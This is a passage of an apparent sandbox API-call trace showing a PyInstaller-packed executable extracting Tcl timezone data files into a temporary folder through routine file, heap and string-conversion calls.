lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.449] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.449] CloseHandle (hObject=0x10c) returned 1 [0040.449] GetLastError () returned 0x0 [0040.449] SetLastError (dwErrCode=0x0) [0040.449] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Phnom_Penh") returned 72 [0040.449] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Phnom_Penh" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\phnom_penh"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.449] GetLastError () returned 0x2 [0040.449] SetLastError (dwErrCode=0x2) [0040.449] GetLastError () returned 0x2 [0040.449] SetLastError (dwErrCode=0x2) [0040.449] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Phnom_Penh", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Phnom_Penh", lpFilePart=0x0) returned 0x47 [0040.449] GetLastError () returned 0x2 [0040.449] SetLastError (dwErrCode=0x2) [0040.449] GetLastError () returned 0x2 [0040.450] SetLastError (dwErrCode=0x2) [0040.450] GetLastError () returned 0x2 [0040.450] SetLastError (dwErrCode=0x2) [0040.450] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Phnom_Penh") returned 72 [0040.450] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.450] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Phnom_Penh" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\phnom_penh"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.450] GetFileType (hFile=0x10c) returned 0x1 [0040.450] htonl (hostlong=0xed000000) returned 0xed [0040.450] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.451] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xed, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xed, lpOverlapped=0x0) returned 1 [0040.452] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.452] CloseHandle (hObject=0x10c) returned 1 [0040.452] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.452] htonl (hostlong=0x30000000) returned 0x30 [0040.452] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.452] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.452] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.452] GetFileType (hFile=0x10c) returned 0x1 [0040.452] htonl (hostlong=0x15105b00) returned 0x5b1015 [0040.452] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fc015, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.452] htonl (hostlong=0xcc000000) returned 0xcc [0040.452] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xcc) returned 0x545d70 [0040.452] htonl (hostlong=0xcc000000) returned 0xcc [0040.452] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.452] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.452] htonl (hostlong=0x5d010000) returned 0x15d [0040.452] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x15d) returned 0x550600 [0040.452] htonl (hostlong=0xcc000000) returned 0xcc [0040.453] htonl (hostlong=0x5d010000) returned 0x15d [0040.453] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.453] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.453] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x545d70 | out: hHeap=0x530000) returned 1 [0040.453] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.453] CloseHandle (hObject=0x10c) returned 1 [0040.453] GetLastError () returned 0x0 [0040.453] SetLastError (dwErrCode=0x0) [0040.453] GetLastError () returned 0x0 [0040.453] SetLastError (dwErrCode=0x0) [0040.453] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.453] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.453] GetFileType (hFile=0x10c) returned 0x1 [0040.453] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.453] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.453] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.453] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.453] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.453] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.453] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.453] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.453] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.453] CloseHandle (hObject=0x10c) returned 1 [0040.453] GetLastError () returned 0x0 [0040.454] SetLastError (dwErrCode=0x0) [0040.454] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.454] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.454] GetFileType (hFile=0x10c) returned 0x1 [0040.454] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.454] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.454] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.454] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.454] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.454] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.454] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.454] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.454] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.454] CloseHandle (hObject=0x10c) returned 1 [0040.454] GetLastError () returned 0x0 [0040.454] SetLastError (dwErrCode=0x0) [0040.454] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.454] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.454] GetFileType (hFile=0x10c) returned 0x1 [0040.454] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.454] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.454] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.454] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.454] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.455] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.455] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.455] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.455] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.455] CloseHandle (hObject=0x10c) returned 1 [0040.455] GetLastError () returned 0x0 [0040.455] SetLastError (dwErrCode=0x0) [0040.455] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Pontianak") returned 71 [0040.455] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Pontianak" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\pontianak"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.455] GetLastError () returned 0x2 [0040.455] SetLastError (dwErrCode=0x2) [0040.455] GetLastError () returned 0x2 [0040.455] SetLastError (dwErrCode=0x2) [0040.455] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Pontianak", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Pontianak", lpFilePart=0x0) returned 0x46 [0040.455] GetLastError () returned 0x2 [0040.455] SetLastError (dwErrCode=0x2) [0040.455] GetLastError () returned 0x2 [0040.455] SetLastError (dwErrCode=0x2) [0040.455] GetLastError () returned 0x2 [0040.455] SetLastError (dwErrCode=0x2) [0040.455] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Pontianak") returned 71 [0040.455] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.455] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Pontianak" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\pontianak"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.456] GetFileType (hFile=0x10c) returned 0x1 [0040.456] htonl (hostlong=0x5d010000) returned 0x15d [0040.456] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.456] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x15d, lpOverlapped=0x0) returned 1 [0040.457] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.457] CloseHandle (hObject=0x10c) returned 1 [0040.457] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.457] htonl (hostlong=0x30000000) returned 0x30 [0040.457] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.457] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.457] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.457] GetFileType (hFile=0x10c) returned 0x1 [0040.457] htonl (hostlong=0xe1105b00) returned 0x5b10e1 [0040.457] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fc0e1, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.457] htonl (hostlong=0xb5000000) returned 0xb5 [0040.457] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb5) returned 0x55cfe0 [0040.457] htonl (hostlong=0xb5000000) returned 0xb5 [0040.457] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.457] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.457] htonl (hostlong=0x26010000) returned 0x126 [0040.457] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x126) returned 0x550600 [0040.457] htonl (hostlong=0xb5000000) returned 0xb5 [0040.457] htonl (hostlong=0x26010000) returned 0x126 [0040.457] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.457] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.457] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.458] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.458] CloseHandle (hObject=0x10c) returned 1 [0040.458] GetLastError () returned 0x0 [0040.458] SetLastError (dwErrCode=0x0) [0040.458] GetLastError () returned 0x0 [0040.458] SetLastError (dwErrCode=0x0) [0040.458] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.458] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.458] GetFileType (hFile=0x10c) returned 0x1 [0040.458] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.458] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.458] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.458] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.458] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.458] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.458] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.458] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.458] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.458] CloseHandle (hObject=0x10c) returned 1 [0040.458] GetLastError () returned 0x0 [0040.458] SetLastError (dwErrCode=0x0) [0040.458] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.458] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.458] GetFileType (hFile=0x10c) returned 0x1 [0040.458] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.459] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.459] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.459] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.459] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.459] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.459] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.459] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.459] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.459] CloseHandle (hObject=0x10c) returned 1 [0040.459] GetLastError () returned 0x0 [0040.459] SetLastError (dwErrCode=0x0) [0040.459] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.459] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.459] GetFileType (hFile=0x10c) returned 0x1 [0040.459] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.459] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.459] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.459] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.459] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.459] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.459] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.459] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.459] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.459] CloseHandle (hObject=0x10c) returned 1 [0040.459] GetLastError () returned 0x0 [0040.460] SetLastError (dwErrCode=0x0) [0040.460] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Pyongyang") returned 71 [0040.460] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Pyongyang" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\pyongyang"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.460] GetLastError () returned 0x2 [0040.460] SetLastError (dwErrCode=0x2) [0040.460] GetLastError () returned 0x2 [0040.460] SetLastError (dwErrCode=0x2) [0040.460] GetFullPathNameW (in: 